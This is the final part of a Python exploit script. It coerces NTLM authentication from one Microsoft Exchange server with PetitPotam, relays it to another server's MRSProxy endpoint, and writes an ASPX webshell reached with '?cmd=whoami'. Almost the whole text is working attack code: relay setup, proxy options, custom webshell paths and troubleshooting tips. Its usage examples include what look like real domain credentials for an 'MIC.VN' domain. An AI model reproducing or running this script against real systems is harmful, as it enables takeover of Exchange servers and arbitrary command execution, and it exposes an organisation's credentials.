# With AD credentials for PetitPotam trigger
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
-u annt02 -p 'Milk2026$' -d MIC.VN
# Through SOCKS proxy
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
--socks 127.0.0.1 --socks-port 10800
# Custom webshell path
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
--webshell-path 'C:\\inetpub\\wwwroot\\aspnet_client\\x.aspx'
""",
)
parser.add_argument("-t", "--target", required=True,
help="Target Exchange server (relay destination, e.g. MBX05)")
parser.add_argument("-e", "--trigger-exchange", required=True,
help="Exchange server to trigger PetitPotam on (e.g. MBX03)")
parser.add_argument("-l", "--listener", required=True,
help="Listener IP (attacker — must be reachable from trigger server)")
parser.add_argument("-lp", "--listener-port", type=int, default=445,
help="Listener port for SMB relay (default: 445)")
parser.add_argument("-u", "--username", default="",
help="AD username for PetitPotam (optional — unauthenticated may work)")
parser.add_argument("-p", "--password", default="",
help="AD password")
parser.add_argument("-d", "--domain", default="",
help="AD domain")
parser.add_argument("--target-port", type=int, default=443,
help="Target HTTPS port (default: 443)")
parser.add_argument("--webshell-path", default=WEBSHELL_PATHS[0],
help=f"File write path on target (default: {WEBSHELL_PATHS[0]})")
parser.add_argument("--webshell-url", default="/aspnet_client/system_web/shell.aspx",
help="URL path to verify webshell")
parser.add_argument("--socks", default=None,
help="SOCKS5 proxy host")
parser.add_argument("--socks-port", type=int, default=10800,
help="SOCKS5 proxy port (default: 10800)")
parser.add_argument("--check-only", action="store_true",
help="Only check if MRSProxy endpoint is reachable")
parser.add_argument("--verify-only", action="store_true",
help="Only verify if webshell is already deployed")
parser.add_argument("-v", "--verbose", action="store_true",
help="Verbose output")
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
if not HAS_IMPACKET and not args.check_only and not args.verify_only:
log.error("impacket is required. Install: pip install impacket")
sys.exit(1)
# ── Check mode ──
if args.check_only:
log.info("Checking MRSProxy endpoint accessibility...")
ctx = create_ssl_context()
for host in [args.target, args.trigger_exchange]:
try:
conn = http.client.HTTPSConnection(host, args.target_port,
timeout=10, context=ctx)
conn.request("GET", MRSPROXY_PATH, headers={"Host": host})
resp = conn.getresponse()
resp.read()
server = resp.getheader("Server", "?")
www_auth = resp.getheader("WWW-Authenticate", "?")
vulnerable = "Microsoft-HTTPAPI" in server and "Negotiate" in www_auth
status = "VULNERABLE" if vulnerable else "not vulnerable"
log.info(f" {host}: HTTP {resp.status} Server={server} [{status}]")
conn.close()
except Exception as e:
log.error(f" {host}: ERROR — {e}")
return
# ── Verify mode ──
if args.verify_only:
ok = verify_webshell(args.target, args.webshell_url,
args.socks, args.socks_port)
sys.exit(0 if ok else 1)
# ── Full exploit ──
log.info(f"Target (relay to): {args.target}:{args.target_port}")
log.info(f"Trigger (PetitPotam): {args.trigger_exchange}")
log.info(f"Listener (our SMB): {args.listener}:{args.listener_port}")
log.info(f"Webshell path: {args.webshell_path}")
log.info("")
# Start relay server in background thread
relay = NTLMRelayHandler(
listen_host="0.0.0.0",
listen_port=args.listener_port,
target_host=args.target,
target_port=args.target_port,
webshell_path=args.webshell_path,
)
relay_thread = threading.Thread(target=relay.start, daemon=True)
relay_thread.start()
time.sleep(1)
# Trigger PetitPotam
log.info("")
trigger_petitpotam(
trigger_host=args.trigger_exchange,
listener_host=args.listener,
listener_port=args.listener_port,
username=args.username,
password=args.password,
domain=args.domain,
socks_proxy=args.socks,
socks_port=args.socks_port,
)
# Wait for relay to complete
log.info("[MAIN] Waiting for relay to complete (timeout: 120s)...")
relay.relay_complete.wait(timeout=120)
if relay.success:
log.info("")
log.info("=" * 60)
log.info(" EXPLOIT SUCCESSFUL — webshell written!")
log.info(f" URL: https://{args.target}{args.webshell_url}?cmd=whoami")
log.info("=" * 60)
# Verify
time.sleep(2)
verify_webshell(args.target, args.webshell_url,
args.socks, args.socks_port)
else:
log.warning("[MAIN] Exploit did not complete successfully")
log.info("Troubleshooting:")
log.info(" 1. Verify both Exchange servers are reachable")
log.info(" 2. Check if MRSProxy is enabled: Get-WebServicesVirtualDirectory | fl MRSProxy*")
log.info(" 3. Try different webshell path (--webshell-path)")
log.info(" 4. Check if port 445 is available on listener")
if __name__ == "__main__":
main()